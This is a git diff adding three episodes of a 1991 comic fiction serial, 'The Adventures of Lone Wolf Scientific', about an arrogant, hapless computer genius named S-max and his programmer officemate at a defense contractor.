and EPISOD.LWS files. +---------------------- +EPISODE #1 +------------------- + + + The Computer Genius Goes to Work + +>>The worst thing that can happen to a globe-trotting +computer genius is gainful employment. From a curb outside +an artificial intelligence company, computer genius S-max +contemplates the wreckage of his employment history. He +desperately hopes the rescue mission is properly wired for +his needs.<< + + By M. Peshota + + The computer genius took a seat on the curb outside the +artificial intelligence company from which he had just been +ejected. The reason for his firing this time was that he +had refused to speak to anyone in the company. He felt that +this was unfair. He didn't speak to imbeciles. That was +just the way it was. + He unfastened the big plastic walkie-talkie that was +clipped to his belt and started fiddling with it. It was +his form of whittling. Whenever he had things to think +about, he took apart his walkie-talkie. If anyone had +passed by and spotted the bear-sized computer dweeb with the +ripped sneakers, Moammar Ghaddaffi pout and dark brooding +eyes, perched on a curb, disembowling a walkie-talkie, they +would have run for the police. The Chia Pet-like helmet +that was his hair and that was the shape and color of +violent explosions on TV from which there are seldom +survivors would have prompted them to run faster. + Job loss ordinarily had little effect upon S-max. This +was because he had more important things to think about than +how to earn a living. There was neural processing, for +instance. There was gallium arsenide. There were thrilling +new video games coming into the stores almost each and +everyday. (Curiously, none of the computer genius's former +employers seemed to appreciate one of the most astounding +traits of his remarkable mind and that was that he +did his best work after playing seventeen straight hours of +video games. Equally amazing, most of them insisted that he +show up for work everyday--as if a computer genius of his +stunning intellect should have to work everyday!) + Through the past year, ever since S-max's parents had +booted him and his myriad of feckless inventions out of the +house, the computer genius had found it increasingly +difficult to hold a job. There was the Swedish +telecommunications firm, for instance, from which he was +fired for taking indecent liberties with other people's +geostationary satellites. There was the Nevada chip-maker +from which he was suspended without pay after parking his +Chevy with the satellite dish on top in the reserved parking +spaces of company executives. + There was the Montana aerospace firm from which he was +booted after the FBI brought in a computer expert to dump +over his wastebasket and sort through its contents after he +had discovered, quite by accident one day, that all it took +was one directory sort and a liberally applied case of flux +remover to bring every Defense Department computer network +crashing to its knees. O, what a tragedy that had been! +Then there was the Brazilian mini-computer maker. Just +because the computer genius had disappeared for three months +with a company inflatable dingy and, upon reappearance, had +explained that he had been to a DIP switch convention in the +South Seas, was no reason to leave him out in the jungle for +six weeks with nothing but a can of pinto beans and a ribbon +cable. + Normally, the computer genius couldn't care less when +he got the pink slip. He took his walkie-talkie and his +shopping bag full of screwdrivers and shuffled out the door +with a sniff of indignation. He never looked back. He +never apologized. If anything, he pitied his former +employer for its shortsightedness in firing a computer +genius of his magnificent intellect. This time, however, his +brusque escort to the artificial intelligence company +parking lot left him feeling a mite bitter. Maybe it had +something to do with the fact that it had been less than +forty-eight hours since he had lost his job at a +semiconductor manufacturer, he reflected. + Again, the whole affair had been shockingly unjust. +Just because the company's Cray-Y-MP-Z80 supercomputer had +inexplicably vanished one night and its kitschy Naugahyde +designer seat cushions had been discovered the next day +stacked atop a file cabinet in the computer genius's office +(except for one which was found epoxied to his computer +"prayer stool") was no reason for security guards to hussle +him to the door and take away his cafeteria pass. It had +been an enormous blow to his frail ego, especially in light +of the fact that it had been only three days since he had +lost his job at a robotics firm for driving a forklift +through the false floor in the computer room in the +middle of the night. + O, why couldn't these people appreciate true genius for +what it was? Afterall, he was nothing but a man who +fervently believed that one's creativity should never be +needlessly hampered by the constraints of responsible +engineering, moreless responsibility in general. + S-max grunted indignantly, poking a gnarled transistor +with a brutish, solder-caked thumb. It would all be +different, he reflected, jerking a tangle of wires from the +back of his walkie-talkie with a grunt, if his career as a +travelling Rubik's Cube pro had turned out differently. + At first it was heady, travelling from agricultural +fest to custom car rally, demonstrating to gaping crowds the +wrist twists and thumb flips that had earned him the +honorific of "The Rubick's Cube Kid." Despite appearances, +solving the magic cube was not a talent the computer genius +had been born with. Indeed not. It was a skill in which he +had invested hundreds, possibly thousands of hours +perfecting while in the employ of one dreary high-tech firm +or another, until finally, he knew that it was a talent he +could no longer keep to himself and whatever officemates he +may have at the time, but had a responsibility to share with +the rest of the world. + The pinnacle of S-max's Rubik's Cube pro career came +when he solved the magic cube in a record six seconds while +parachuting out of an airplane over a meeting of the +Association of Accumulating Computing Machinery. In his +"Dinky the Transistor" clown costume, the tatters of his +parachute streaming behind him like zinnia petals ripped in +the wind, he crashed through the trees, landed on top a +picnic table, bounced off a styrofoam model of an old +Univac, and landed on top a guy in a wizard's cape and hat, +his "Dinky" costume badly ripped, but his spirits soaring as +he was lifted into the air by a mob of mothy old computer +engineers who cheered "Dinky! Dinky!" + Little did he suspect that just two weeks later, during +a cuthroat "cube-down" at a zucchini roast in Omaha, he'd be +badly beaten by a fourteen year old with incredible manual +dexterity, and would later find himself stranded in an Omaha +bus station, penniless, despirited, a washed up intellectual +Olympian with nothing to his name but a dumb plastic cube +and a suitcase full of Mattel lifetime achievement plaques. + But the computer genius was not a man to know hard +times for long. When he saw opportunity, he seized it, and +that's just what he did when he began selling the four +million-watt power supplies for personal computers. Now, +most personal computers have power supplies of only 100 to +200 watts, most personal computer never need anymore watts +than that, but the computer genius, inspired by his lifelong +credo that one's creativity should never be needlessly +hampered by the restraints of responsible engineering, +moreless responsibility in general, and realizing how much +personal computer owners, like fast car afficianadoes, are +always craving faster speed, more zoom to the metal, +proceeded to unload truckload after truckload of four +million-watt computer power supplies upon unsuspecting +personal computer owners. + When purchasers wrote to the computer genius asking him +what they could do with four million watts on their +motherboards, he responded gleefully: "There are many things +that you can do with four million watts! You can power +small industrial plants. You can make inquiries into +whether any rural communities in your area would like extra +electricity. You can recharge golf cart batteries for +yourself and friends. You can start your own radio station. +Or, you can just add on lots and lots of expansion boards. +Think of the fun!" + As with many of S-max's other similar high-tech +entreprenuerial ventures, it didn't take long for the +appropriate consumer protection agencies to track down the +name and face behind the anonymous post office box number. +Before he knew it, angry-looking men who looked alarmingly +like Ralph Nader were pounding on his door, demanding +details of his product's Underwriters Laboratories tests. +The computer genius barely escaped with his life. He fled +to Cincinnati where he laid low for a while, selling +integrated circuit test clips under a variety of aliases and +living in a secret, concealed room above a Snookey's Parts +Shack store. + S-max clipped his now reassembled walkie-talkie back +onto his belt and contemplated the decline of western +technology as evidenced by the horrible fact that no one +cared to keep him in their employ for very long. You can +be sure this would not be the state of affairs in Japan, +he grunted to himself. In Japan, computer companies would +doubtless be falling all over themselves trying to hire and +retain an employee with the unvarnished Yankee ingenuity of +S-max. Why, they would probably even offer to keep him in +miniature digital clocks for the rest of his natural days, +that's how grateful they would be for his novel approaches +to computer engineering. + S-max got up from the curb and dusted himself off. It +had occurred to him that the withered and decomposing form +of a computer genius lying in the gutter would not look +pretty and might even deter impressionable youth from +entering the exciting world of high-technology should they +happen to pass by. And he certainly didn't want that to +happen. + As the computer genius shuffled down the street, he +fervently hoped that the rescue mission to which he was +headed was properly wired for his needs. + + + + +>>>In the next episode, "The Second Renaissance of Space +Exploration Technology and What Happened to It," S-max has a +soulmate in the making. Tune in then.<<< + diff --git a/textfiles.com/magazines/LWS/six.lws b/textfiles.com/magazines/LWS/six.lws new file mode 100644 index 00000000..99b755fa --- /dev/null +++ b/textfiles.com/magazines/LWS/six.lws @@ -0,0 +1,416 @@ + +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. May not be distributed +without accompanying WELCOME.LWS and +EPISOD.LWS files. +----------------------- +EPISODE #6 +----------------------- + + + A Day in the Life of Two Defense Workers + +>>S-max and Andrew.BAS struggle to adjust to their new lives +as defense contractor workers. When the computer builder +tires of his responsibilities keeping track of "super-string +defense links", he convinces his officemate that they should +design a closet-sized replica of NASA's Mission Control.<< + + By M. Peshota + + Andrew.BAS was glueing a plastic model of the space- +shuttle together when his officemate burst in. "Gus and I +just had a man-to-man talk," S-max bragged, referring to +their boss, Gus Farwick. "Or should I say--" He smirked +pompously. "--technological-innovator-to-technological- +innovator?" The self-proclaimed 'genius computer builder' +plopped a tin can full of kite string on his desk. "Gus has +assigned me to a most urgent task. The very fate of +technological civilization may hinge upon its successful +completion." + + "Yeah?" the programmer looked up, impressed. + + S-max smirked again. He tossed his large, bushy head +for effect. "I am to keep track of the super-string links +between key components of our multi-billion dollar defense +network. I am to ensure that expensive weapons do not fall +prey to big hairy knots on the battlefield." He continued +on breathlessly, "Gus no doubt chose me for this important +task, not only because of my much legended electronic +genius, but also for my extensive knowledge of cosmological +string theory." He grunted with self-importance. "I will +no doubt be working on the project for days. You probably +won't be hearing a lot from me." + + Andrew.BAS nodded agreeably, looking back to the half- +built plastic shuttle model propped on the floor by his +knees. He liked the idea of not hearing from the loquacious +computer builder for a while. For the past four days, all +S-max had been doing was shuffling around the office, +ranting about how computer programmers like Andrew.BAS were +intellectually inferior to genius computer hardware +designers such as himself. He called them "brains-in-a- +wristwatch programmers." It would be good not to have to +listen to that for a while. + + S-max blurted, "I bet it is a good feeling to know that +you have an officemate who is already getting in good with +the boss." + + "I suppose," Andrew.BAS said politely. Inwardly, he +couldn't help feel envious that the computer builder now had +work to do while he did not. + + "Employers love me," S-max continued brightly. "They +are continually showering me with goodies." He pointed in +illustration to the can of kite string on his desk. + + Andrew.BAS smiled wanly. "I'm very happy for you." + + S-max stuffed his big hands in his army jacket pockets. +He swaggered across the room. Arriving at his half- +completed "champagne-filled Jacuzzi" sitting in the corner +on the floor, he gazed fondly at its tangle of jet +propellers, lawn sprinklers, and half-drained bottles of +bubble bath. "It was no doubt my vision for twenty-first +century technology--of which this is a prime example--that +excited Gus the most." He idly disentangled the cockpit "No +Smoking" sign from the three-legged bathtub. + + "I wouldn't be surprised," Andrew.BAS mused, pouring +over the shuttle model assembly blueprints. + + S-max spotted the plastic cargo shuttle bay with its +miniature satellite that Andrew.BAS's clenched. "Please, +take that vile thing away, out of my sight," he commanded, +motioning to it. "I don't want to be reminded of our space +program's gross ineptitude in refusing to avail itself of +the free advise of a computer genuis such as myself." He +shuddered at the memory of his ejection, months prior, from +the employment office at NASA. One moment he had been +advising the space program on how to secure its forty-ton +satellites in the space shuttle during transport ("Use duct +tape--lots of it."), and the next they were escorting him +and all his broken screwdrivers to the door. He shuddered +again. And to think, if they'd played their cards right, +they could have also have had him for a commander on the +space shuttle. + + Andrew.BAS compliantly tucked the miniature cargo bay +out of sight in a nearby cardboard box. + + From the other side of the office, they heard strains +of "Chariots of Fire." It sounded ghostly. It was their +officemate, burnt out assembly language savant Austin +Jellowack, humming the company song, "Onward Dingready +Soldiers, As Sung to Chariots of Fire." With each passing +day, Austin seemed to sink lower and lower behind his +computer terminal, his arthritic knuckles rattling over the +worn, dirty keys faster and faster, as if the more he saw of +his new officemates, the more frightened he became. + + Ignoring him, S-max shuffled back to his desk. He +pulled from his jacket's inside pocket a wide roll of paper. +With loud, self-important rustles, he smoothed it out on the +desk. He traced a finger over the blueish paper, back and +forth several times, emitted a "Hmmph!" of thought, then +stared at it intently, rubbing his stubbled chin. Finally +he said to Andrew.BAS, "These are blueprints for a multi- +billion dollar weapon sytem. I sweet-talked them out of the +receptionist at the front desk." + + The programmer looked up skeptically. "The receptionist +had blueprints for a multi-billion dollar weapon system?" + + "They were entrusted to her in case of an attack by +barbarians. The last place barbarians would look for secret +multi-billion dollar weapon plans would be in the top drawer +of a receptionist's desk. Clever, don't you think?" + + Andrew.BAS lifted his small, blond head to get a look +at the alleged multi-billion dollar blueprints. "Isn't that +one of the posters that Dingready & Derringdo mails to +college job placement offices to help recruit employees?" + + S-max eyed the paper skeptically. + + Andrew.BAS walked over and pointed out a small drawing +at the bottom. It depicted a gaggle of recent engineering +school graduates holding their moon helmets. "And look at +this plane," he added, pointing to a graceless craft with a +missing propeller and which looked like it had been shot +down over Cleveland. Passengers, adorned in hombergs and +1954 suits and dresses, slid down a big orange inflated +slide propped against its side. They were sliding into the +ocean, or else jumping out the door in parachutes. +Andrew.BAS explained, "It's a poster that shows how to exit +a Dingready & Derringdo plane in an emergency. Don't you +see the company motto on the bottom?" He pointed to it. It +said "Courtesy of Dingready & Derringdo Aerospace. We're +there on the ground when you need us." + + The computer builder scrutinized it further. He knit +his thick brows in disbelief. Finally he gasped, "Why +you're right, Andrew.BAS! I should have spotted it +immediately! As I'm sure you're aware, these college +recruitment posters are often indistinguishable from plans +for multi-billion dollar weapon systems. Defense +contractors like Dingready & Derringdo often print up plans +for multi-billion dollar weapon systems at the same time +that they print up college recruitment posters--so as to +save on the cost of silk-screening." He grunted. +"Consequently, the two frequently become confused. It was +an easy mistake to make. I am glad you caught it in the +nick of time, though, before I spent <> +pencilling in a radar navigation system or a computer +telemetry system. Think of it! I could have frittered away +enormous amounts of my high-paid electronic genius designing +a telemetry system for a plane that specializes in +transporting floppy hatted nudniks to Miami Beach." With a +cluck of childlike admiration, he added, "My, you are +perceptive for a computer programmer, aren't you? I +wouldn't have guessed that a programmer such as yourself +could unriddle such an intellectual subtlety without the +profligate singing of Sesame Street songs." He grunted +again. "Usually, computer programmers are not very bright." + + Andrew.BAS ignored the offensive S-max and returned to +his model space shuttle on the floor. + + S-max jammed the so-called "blue prints" into a desk +drawer. Arising from his desk with the hautiness of a +lion, he sauntered over to Andrew.BAS's model space shuttle +and eyed it critically. He circled it several times. +Finally, he exclaimed, "No, no, Andrew.BAS, you are doing it +all wrong!" He wagged a finger in reprimand. "Before you +glue on the plastic landing wheels you need to mark off your +launch ground. Migod, don't they teach you people +<> at programmers' school?! I can hardly believe +what I am seeing." From a screwdriver-stuffed pocket, he +extracted a gnarled hunk of red chalk. It looked like the +kind of red chalk usually responsible for indecipherable +writing on the walls of circuit closets. With a loud sigh +of exasperation, he leaned over and began chalking on the +concrete floor--circles, stars, arrows, lines, ellipses, +x's, triangles, Mickey Mouse ears, two stick figures, dollar +signs, a heart with an arrow through it, something that +looked like the coast of Africa, and a maze-like runway in +the shape of an Aztec lizard. All the while, he clucked in +artistic self-fulfillment. + + Andrew.BAS watched him in astonishment. + + Finally, the computer builder stood up, brushed the +chalk from his baboonish hands, and surveyed the now +bruised-looking floor in pride. "That will do it, now +you're set," he proclaimed, shuffling back to his desk. + + In relief, Andrew.BAS resumed glueing plastic wheels on +his shuttle model. + + S-max, meanwhile, once again took a seat behind his +desk, extracted the crumpled "weapon system blue prints" +from the drawer, and began sketching a telemetry system onto +the plane. + + For several moments, the only sound was the screech- +screech of S-max's green laundry marker and the off-key +humming of the assembly language savant in the corner. + + Soon, Andrew.BAS spotted the computer builder once +again eyeing his plastic space shuttle dolefully. + + "Now what's wrong?" + + "You need a Mission Control." + + "A Mission Control?" + + "Yes, a Mission Control. One with a lot of expensive +computer consoles." + + "I see." + + "It is absolutely imperative that we have one, +Andrew.BAS! The authenticity of the project depends upon +it!" + + "But we already have a launch ground," Andrew.BAS +protested, nodding toward the ravished floor. + + S-max ignored him and pointed to the closet directly +behind him. "It would fit perfectly in the coat closet." + + "The Mission Control?" + + "I am not talking about that collection of Cracker Jack +prizes you refer to as programming tools!" he burst out. +"Yes, the Mission Control." + + Andrew.BAS stared at the coat closet in apprehension. +He could see it now: the deranged computer builder stuffing +it full of lawn sprinklers and radio-antenna festooned +bathtubs, just like his champagne-filled Jacuzzi. He would +probably scheme a way to install an electrical outlet which +he would proceed to dangerously overload. All that +Andrew.BAS could think of saying, though, was, "Where are we +going to store our snowboots in the winter?" + + S-max rumbled, "Migod, you programmers are such old +maids! <>" he +whined in mimicry of the programmer's soft-voiced protest. +"This is not the time for trifles! This is not the time to +worry about where we're going to store our rubber boots! +Now is the time for action!" + + "I see," Andrew.BAS reflected calmly. It really wasn't +such a bad idea, he mused, building a miniature Mission +Control to go with his miniature space shuttle. It could +serve as a monument to all the computer programmers who work +so hard in Mission Control coding the computer software that +speeds man across the galaxy. Whenever he looked at it he +could think of his life-long dream--to be one of the +programmers in Mission Control. Finally, he asked, "What +should we build it out of?" + + + + + + + As the waifish Andrew.BAS struggled to push the +shopping cart loaded with toy robots down the aisle, S-max +bustled ahead of him through the hobby store. "Let's +see..." he mused, plucking a plastic rocketship off the +shelf, "we still need a moon rover, an all-terrain planetary +recreational vehicle, and something with extra-large +tailpipes in which to roll over the plains of Saturn in +style." + + "I thought we were only building a Mission Control." + + "Migod, Andrew.BAS!" the blowsy S-max despaired. +"Don't you realize that when you bring an unvarnished +computer genius like me into a project, one visionary +concept is going to just naturally flow into another?" + + "I'm sorry, I didn't realize that." + + "Well it is something you're going to have to become +accustomed to." The computer builder snorted. He snatched +from a shelf several handfuls of rubber snakes and lizards +and heaved them into the cart. Ever since they had arrived +at Loose-Toothed Lonzo's Crazy Crafts and War Games, S-max +had been animated with the glee of a newly installed diety +about to jerry-build a brandnew Creation out of craft paste +and 25 cent felt pieces. He paraded down the aisles, +tossing into their shopping cart every plastic gewgaw that +caught his eye. + + "What are those for?" Andrew.BAS asked of the snakes. + + "For the model of the Mojave Desert rocket test grounds +that we will erect in the wasteland that is the second floor +marketing department." + + The programmer groaned. Not only did S-max plan to +build a model of Mission Control in their office coat +closet, but now he also wanted to transform second floor +marketing into a rocket test grounds, as well as make the +the janitor's closet down the hall into a space-ship airlock +by hanging rubber octopus from the ceiling--to simulate +space creatures trying to sneak into the ship. How did he +ever let himself get mixed up in this? Andrew.BAS wondered. + + The computer builder's restless eyes fell on a plaster +bust of John F. Kennedy. It was wedged between two ready- +to-paint birdhouses on a shelf. He seized it with +satisfaction. "This will make an ideal prop for the TV +announcer's room that we can build in the vault down the +hall from our office." + + "You mean the vault where they lock the engineering +blueprints?" + + "Yes, that is the one. It is perfectly insulated to +keep the raucous of ill-behaved TV people from disturbing +the men and women of technological vision in Mission +Control. It also has a pretty good lock." He nestled the +bust of the technologically far-seeing president beneath the +shopping cart beside the case of silver spray-paint. + + Pushing the overloaded cart further down the aisle, +Andrew.BAS repeated one of the questions that had troubled +his sensible mind all through their shopping spree. "How are +we going to pay for all this junk?" + + "I wouldn't worry about it, Andrew.BAS," came the hasty +response. "I'm sure our employee has a credit line here." + + "Why would an aerospace company have a credit line at +Loose-Toothed Lonzo's Crazy Crafts & War Games?" + + "Trust me, Andrew.BAS, I have worked for defense +contractors before. Where else but the local hobby shop are +they going to procure their instant paper mache'?" + + All through the drive home (they discovered that +Dingready & Derringdo Aerospace did indeed have a credit +line at Lonzo's), S-max chattered away about how they could +expand their depictions of NASA operations beyond the coat +closet, beyond the marketing department, beyond the +blueprint vault, beyond even the janitor's closet. "We can +hot-glue plastic diplodocuses around Gus Farwick's office to +similate the halls of Congress pitifully frozen in the +technological Stone Age. We can affix broken hand-mirrors +to that model of the <> in the employee +cafeteria to make it look like a dysfunctional space +telescope...." + + When they finally arrived back at work, Andrew.BAS +stumbling beneath a heavy load of shopping bags, S-max +sauntering ahead of him as nonchallantly as a man with no +burdens in the world, the computer builder proceeded to +spent the rest of the day lying on his stomach on the floor, +modeling from clay misbegotten little figures that were +supposed to be NASA employees, but looked more like +casualties of an atomic blast. Andrew.BAS, meanwhile, +spray-painted his and S-max's tennis shoes silver to make +them look like moon boots. + + All the while, their officemate, Austin Jellowack, +watched them fearfully from behind his computer terminal, as +he hummed broken bars of the company song, assumedly for +comfort. When S-max finally tired of this dirge-like +crooning, he seized the startled Austin by the t-shirt +collar, shoved a shopping bag full of mirrors and glue gun +in his withered hands, then dragged the frail, monkish +programmer out the door and down the hall to the employee +cafeteria. There he deposited him in front of the model of +the <> with vague instructions to transform it +into "something we can all enjoy." + + The model-builders worked late into the night. Whoever +passed by their office and spotted the dim, yellow light +burning solemnly through the mottled glass window of the +door, marvelled at the employees' zest for work and how they +were applying themselves so diligently to the problems of +our nation's high-tech defense. Some no doubt commented to +themselves that the government was for once getting its +money's worth from Dingready & Derringdo Aerospace and, as +far as the military contractor was concerned, they were +probably correct. + +>>>>In the next episode, "The House Guest with 172 Soldering +Irons," Andrew.BAS naively offers the homeless S-max a place +to sleep. The two reluctant confreres are not even out of +the employee parking garage when he begins to regret it.<<<< + + + diff --git a/textfiles.com/magazines/LWS/ten.lws b/textfiles.com/magazines/LWS/ten.lws new file mode 100644 index 00000000..79ae739f --- /dev/null +++ b/textfiles.com/magazines/LWS/ten.lws @@ -0,0 +1,322 @@ + +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. All rights reserved. May +not be distributed without accompanying +WELCOME.LWS and EPISOD.LWS files. +----------------------- +EPISODE #10 + + + Tense Moments In Mission Control + +>>A tense morning at Dingready & Derringdo Aerospace is made +even more so by a visit from boss Gus Farwick. Clipboard +and camera in hand, the conniving engineer manager is busy +compiling documentation to terminate the employment of his +two least favorite research engineers.<< + + By M. Peshota + + + When S-max and Andrew.BAS finally arrived at work that +morning, the two new housemates were grimacing with +exasperation at the other. + + "I don't know why you had to motion to that fool driver +to cut in front of us just because a Flight for Life +helicopter was landing in his lane," the computer builder +huffed, referring to their tumultous drive to work on the +freeway. + + "How was I supposed to know that you'd run him off the +road, pull him from his car, and throw him down an +embankment?" the programmer protested. + + "Drivers who cut in front of one should be dealt with +firmly," S-max grunted with self-satisfaction. + + It was 11:45, and already the day seemed long and +wearying. As they were preparing for work, the computer +builder announced that he had misplaced his favorite T- +shirt. + + "I can't leave the house without my T-shirt!" he had +cried, pawing frantically through the piles of computer +documentation that fell from the kitchen shelves. "I can't +go <> without my T-shirt. I've designed some of +my greatest computers while wearing that shirt. I wore it +when I wired my first parallel circuit. I wore it when I +used up my first roll of duct tape. I wore it through my +entire seventeen years at MIT! I can't design state-of-the- +art digital electronics without it!" + + In his composed, rational way, Andrew.BAS asked, "Don't +you have another shirt to wear?" + + "Noooo!" the computer builder moaned. "I've never even +owned another shirt!" + + They searched the house for nearly an hour looking for +S-max's shirt, ripped, dirty, pungeant with the smells of +sweat and shorted out electronics, so faded its color was +now the lost, bland hue of every computer in existence. +Across its front was a weathered infinity sign. On the back +was a grape stain shaped like the North American continent. +"My shirt! My poor lost shirt!" S-max howled all the while, +as they kicked their way through piles of electrical +schematics, sifted through boxes of tangled electrical +instruments, shined flashlights under S-max's tattered R and +D couch. "My shirt!" he cried, growing more frantic as the +hunt progressed. + + They eventually found his T-shirt. It was wadded up +inside the mouth of his electric tuba. + + "I must have tossed it in there when I took a shower +last night," the computer builder speculated, extracting it +from the tarnished, dented instrument. He slipped it over +his puffy chest. "I was standing in this very spot last +night when I took it off." + + "And it never occurred to you to check the place where +you took it off?" his miffed housemate asked. + + S-max looked at the programmer bewilderedly. "No, why +should it have?" He grunted. "Computer geniuses such as +myself have more important things to collect in our massive +amounts of intellect than remembrances of the last time we +absently tossed something into the mouth of an electric +tuba." + + A few minutes later, S-max announced that he had +misplaced his walkie-talkie. "My beloved walkie-talkie!" he +wailed, and the hunt began again. + + Once the computer builder had located his walkie-talkie +(it was found stashed beneath a dusty cushion of his +research couch), and clipped it to his belt, he tied his +tennis shoes in double-knots, then proceeded to the door and +announced that he planned on strapping the twenty-gallon +drum of liquid marshmallow that Andrew.BAS had bequeathed +him the night before, and which was apparently refuse of a +college fraternity prank, inside the satellite dish on the +roof of his van. He planned to store it in his parking +space at work. + + "I don't know if you've noticed, Andrew.BAS," he said, +flinging clothesline over the drum of marshmallow and the +satellite dish which held it, "but my designated employee +parking space is a very large one. It is much larger than +yours. This is no doubt because I am an innovator of +tomorrow's computer technology, while you--" He sniffed. +"--are a mere computer programmer." + + "Don't you want to take the Robin Hood hat and tights +with you too?" his housemate asked with emotionlessly +uninflected sarcasm, referring to the costume portion of the +fraternity prank arsenal heap in their livingroom. + + S-max turned and gazed in indecision at the drooping +porch where his electric tuba sat. The green tights dangled +from its dented lips like the legs of a half-swallowed +leprechaun. "You know, you're absolutely right. I had +better bring them to work too. I just may need them in my +expanding role as innovator of tomorrow's technology." He +hurried back to the house to get the tights, while the +programmer gloomed that his mornings would be like this +forever on unless he rid himself of this noxious houseguest. + + When the computer builder returned, he offered +Andrew.BAS a ride to work. The latter refused, having +already witnessed a horrific display of his officemate's +driving skill, but the overbearing inventor insisted. When +Andrew.BAS mulishly refused to climb into his shell-torn +van, S-max threatened to follow him down the road on his +"cute-as-a-programmer's-lunchbox motor-scooter" and run him +over. Knowing that the headstrong S-max was fully capable +of this, Andrew.BAS sighed and obligingly crawled into the +front seat. + + When he glanced down at the seat to learn more of the +nature of the pile of refuse upon which he sat, he was +horrified to see that it was a heap of unpaid, overdue +traffic tickets. When he searched for the seat belt, he +found it knotted around the personal computer that was +jammed next to him in the seat. The computer's monitor was +smashed as though it had gone careening through the +windshield. + + When the driver ahead of them on the freeway creeped +along at a mere fifteen miles per hour over the speed limit, +S-max pounded the horn, poked his wild-maned head out the +window, and threatened to drown the other driver in twenty +gallons of marshmallow. "Don't think I carry this twenty +gallon drum of marshmallow and giant wok on top of my van +just so I can make idle threats!" he had screamed. + + By the time they arrived at work, the two officemates +where barely speaking to each other--except for sporadic +quibbling about how S-max had gotten lost on the freeway and +driven to the research complex of the wrong high-tech +defense contractor. + + "I tell you, Andrew.BAS, they most certainly changed +the layout of that cloverleaf since the last time I drove +around it," the computer builder insisted. + + "But we ended up in a different state!" Andrew.BAS +wailed. + + "But it did give us the opportunity to view many +fascinating historic landmarks on the way," he grunted +optimistically. + + "Two of which you ran over," the programmer reminded +him, referring to the wishing well and park bandstand which +were now piles of dusty timber and trellis branded with the +crooked treadmarks of muddy van wheels. + + Reaching their office, they found their boss, Gus +Farwick, waiting for them. He was pacing the floor with a +clipboard, his usually monotonous face pinched in grief. +Oddly, he didn't seem particularly concerned that the two +research engineers were nearly four hours late for work. +Instead, he held up two of the rubber snakes that S-max had +glued to the defense contractor's hall floor to make it +resemble a space shuttling landing strip. "Who is +responsible for these?" he demanded. + + S-max pushed in front of Andrew.BAS and raised his hand +proudly. "I am," he said. "It was my idea from start to +finish. So were the two plastic diplodocuses hot-glued to +each side of your desk. Andrew.BAS had absolutely nothing +to do with it." + + Farwick recalled the dinosaurs. He had not been amused +upon arriving at work that morning, to discover a computer +paper banner stretched over his office door proclaiming +"Facsimile of the Halls of Congress Frozen in the +Technological Stone Age." He glared at the alleged computer +genius with malevolence. "I thought it was you," he +breathed. + + S-max whispered to Andrew.BAS, "Gus is no doubt so +impressed with my work transforming his office into an +authentic miniature replica of the halls of Congress frozen +in the technological Stone Age that he is about to put me in +charge of yet another multi-billion dollar defense project +upon which the fate of western civilization hinges. I +advise you to listen closely. You may learn a great deal +from this encounter" He turned to the coal-eyed bureacrat. +"We started out just building a model of NASA's Mission +Control in the coat closet--" He pointed to the closet +crowded with green Gumbys clenching paper airplanes. "But +as you know, with unvarnished computer geniuses like me, one +visionary concept just naturally flows into another." + + "Yes, I often marvel at the phenomenon." The engineer- +manager looked around the office. He glimpsed at the half- +finished plastic model of the space shuttle propped +unsteadily on ice cream stick scaffolding, the shuttle +landing strips chalked on the floor with baroque confusion, +and the plaster bust of John F. Kennedy sitting on the +computer genius's desk, an outline of a pocket protector +cartooned on its chest with a laundry marker. He noted on +his clipboard that it looked lonely and afraid. He pulled a +miniature camera from his pocket, and, walking around the +room, began snapping pictures. S-max whispered to his +officemate, who was watching the proceedings fearfully. "Gus +is no doubt going to distribute these pictures to other +defense contractors to brag about our operations here." + + The engineer-manager asked the computer builder to pose +in front of the Mission Control model, and the army jacketed +S-max walked over to the closet and stood in front of it +proudly. He raised his chain, tucked his hand in the +opening of his faded jacket Napolean-like, and propped a +sneakered foot on the space shuttle model like a big game +hunter posing with his kill. Farwick snapped an entire roll +of pictures. + + The manager then turned to Andrew.BAS and asked him if +he would also like to be in some pictures, but before the +terrified programmer could reply, S-max blurted, "No, +Andrew.BAS would <> like to be in any pictures. He +contributed absolutely nothing of significance to this +breathtaking project. He couldn't even glue plastic lizards +on the floor correctly." + + Andrew.BAS felt relieved. + + Their boss was about to leave when S-max suggested, +"Why don't you take some pictures of my desk too? It is +quite unique. There are many quaint patterns and rare +bibelot that have gone into its decoration." He pointed +with pride to the battered gray metal desk pushed into the +epicenter of the office. An antedeluvian computer terminal +with an askew, blinking copper screen and moose antlers +glued to its crown was enthroned upon it. Farwick circled +the desk with fascination. + + From the old terminal's monitor bobbed red fur dice. +Its keys were caked with solder and littered with metal +shavings. From the back of the machine a long radio antenna +protruded tail-like. "The Motorola Z80 Chip Lives!" was +spray-painted in black on the side of the terminal. On the +other side was sprayed a long black arrow pointing back and +around to the power switch on the rear. A big X was painted +over the power switch. Stuck to the other side of the +terminal was a bumper sticker that read "Honk If You Want +Complete Schematics." On the top was one that said "Follow +Me to the Gallium Arsenide." A sticker was glued in a +corner of the terminal's neon-bright screen. It that read +"NO PROGRAMMERS" and showed a red circle around and a line +drawn through a stick figure with pimples. Standing beside +the terminal was voodoo doll. It was also full of pimples. +It had been stuck full of capacitors. The desk's linoleum +top was scarred with long, hideous soldering burns. Frayed +wires and dogeared electrical schematics fell from all its +drawers. The desk chair was covered with fake zebra fur. +Farwick a full roll of pictures of S-max's desk, as well as +close-ups of the programmer-voodoo doll and the "Motorola +Z80 Chip Lives!" bumper sticker. + + As the smiling engineer-manager prepared to leave, he +told the computer builder to inform him <> +whenever he embarked on another engineering project like the +Mission Control in the coat closet. S-max gladly promised +to do so. His boss then asked him for directions to the +stall in the parking garage where his battered van was +parked. "Just look for the satellite dish filled with +liquid marshmallow," S-max bragged. "You can't miss it." +Farwick left, clipboard and camera in hand, looking happier +than he had since S-max began working for him. + + The computer builder turned to his visibly worried +officemate. "It's too bad <> can't be a genius +computer hardware designer too," he gloated, "then people +would be wanting you to pose for pictures in front of the +many things that had been touched by your engineering +creativity." + + "I don't think my personnel folder is quite ready for +something like that," Andrew.BAS sighed. He feared that his +and S-max's employment at the defense contract was about to +come to a close. + + + + + +>>>>In the next episode of "The Adventures of Lone Wolf +Scientific," trouble starts when computer genius S-max +discovers that the cans of twine that his boss has put him +in charge of are not "super-string links between key defense +systems," but plain old kite-string 